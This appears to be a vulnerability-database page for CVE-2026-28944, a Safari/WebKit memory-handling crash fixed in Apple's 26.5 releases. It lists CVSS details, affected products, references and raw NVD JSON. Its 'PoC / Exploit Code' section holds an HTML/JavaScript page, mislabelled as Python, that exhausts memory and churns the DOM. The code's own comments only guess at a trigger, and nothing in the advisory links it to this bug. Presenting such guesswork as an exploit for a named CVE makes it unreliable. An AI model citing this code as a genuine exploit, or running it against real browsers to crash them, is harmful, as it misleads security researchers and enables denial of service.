CVE-2026-28944

Description

The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.5

iOS < 26.5

iPadOS < 26.5

macOS Tahoe < 26.5

visionOS < 26.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-28944 -->
<!-- This PoC demonstrates a potential trigger for the memory handling crash -->
<html>
<head><title>CVE-2026-28944 PoC</title></head>
<body>
<script>
    // Attempt to trigger memory corruption via buffer manipulation
    try {
        // Create a large buffer to stress memory handling
        var size = 0x100000;
        var arr = new Array(size);
        
        // Fill array with complex objects to trigger GC issues
        for (var i = 0; i < size; i++) {
            arr[i] = new Uint8Array(1024);
        }
        
        // Rapidly manipulate DOM to exploit potential race condition
        var div = document.createElement('div');
        document.body.appendChild(div);
        for (var j = 0; j < 10000; j++) {
            div.innerHTML = 'Test' + j;
            if (j % 100 === 0) {
                div.remove();
                document.body.appendChild(div);
            }
        }
        
        console.log('PoC executed. Check for crash.');
    } catch (e) {
        console.error('Exception occurred:', e);
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28944
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28944
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28944/
[4] VulDB https://vuldb.com/cve/CVE-2026-28944
[5] https://support.apple.com/en-us/127110
[6] https://support.apple.com/en-us/127115
[7] https://support.apple.com/en-us/127120
[8] https://support.apple.com/en-us/127121

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-28944", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:55.627", "lastModified": "2026-05-13T21:16:43.530", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "9D9FC2C4-7A7C-4330-A226-255428A5D18E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "0A70A5FD-8891-4C4E-9D35-F217F95027B5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "C8F45D80-0DF8-444E-9AF1-703A1075F046"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127120", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127121", "source": "[email protected]"}]}}